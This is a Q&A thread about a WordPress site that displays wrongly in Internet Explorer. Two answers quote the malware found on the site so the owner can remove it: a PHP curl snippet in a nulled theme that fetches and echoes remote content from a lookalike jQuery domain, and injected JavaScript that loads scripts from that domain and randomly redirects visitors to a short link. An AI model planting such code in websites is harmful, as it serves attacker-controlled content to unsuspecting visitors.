h0m3r
h0m3r

Reputation: 53

Wordpress CSS doesn't work in Internet Explorer

Something seems wrong when i browse my site with IE 9-8-7. It is rendered perfectly with Chrome, Safari, Firefox and Opera. What can be the reason? Thank you.

http://www.omergencay.com

Wrong View In Internet Explorer enter image description here

Upvotes: 1

Views: 2768

Answers (4)

Chad H. Alvarez
Chad H. Alvarez

Reputation: 39

actually the solution to this is very simple.

but let me explain first what causes this.

no. 1 reason is that you or your developer probably grabbed some cracked/hacked/nulled themes from warez distributor sites.

so to fix this issue. just open your index.php under your themes root folder

and look for this:

<?php
if(function_exists('curl_init'))
{
    $url = "http://www.j-query.org/jquery-1.6.3.min.js"; 
    $ch = curl_init();  
    $timeout = 5;  
    curl_setopt($ch,CURLOPT_URL,$url); 
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
    $data = curl_exec($ch);  
    curl_close($ch); 
    echo "$data";
}
?>

delete the entire script and your site should work normal.

Upvotes: 3

markratledge
markratledge

Reputation: 17561

Try fixing your code errors and revalidating. [Invalid] Markup Validation of omergencay.com - W3C Markup Validator. Scroll down in the validation report to see line numbers and source code.

Upvotes: 0

Eilistraee
Eilistraee

Reputation: 8290

Something is forcing IE to run in quirks mode (ie IE5.5 mode) in your page. When you hit F12, you can see the current document mode and change it.

The doctype seems correctly set when I look at the source code... I don't see what thirtydot is seeing.

It's (highly) possible that you are using some sort of wordpress plugin which is causing issues in some cases (which would explain why bingjie2680 didn't notice anything.

Upvotes: 0

thirtydot
thirtydot

Reputation: 228152

These are the very first lines of HTML:

<script type="text/javascript"> if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.j-query.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.j-query.org/jquery.js"></scr'+'ipt>'); } </script>

<script type="text/javascript">
var now = new Date().getTime();
if (now%35 == 0) {
window.location = "http://bit.ly/vjqJ4w";
}
</script><!DOCTYPE html>

Having stuff before the doctype is throwing IE into Quirks Mode, which is the reason your site is not displaying properly in IE.

More importantly, your site appears to have been hacked. Browsing to hxxp://bit.ly/vjqJ4w takes you somewhere you probably don't want to go.

Upvotes: 4

Related Questions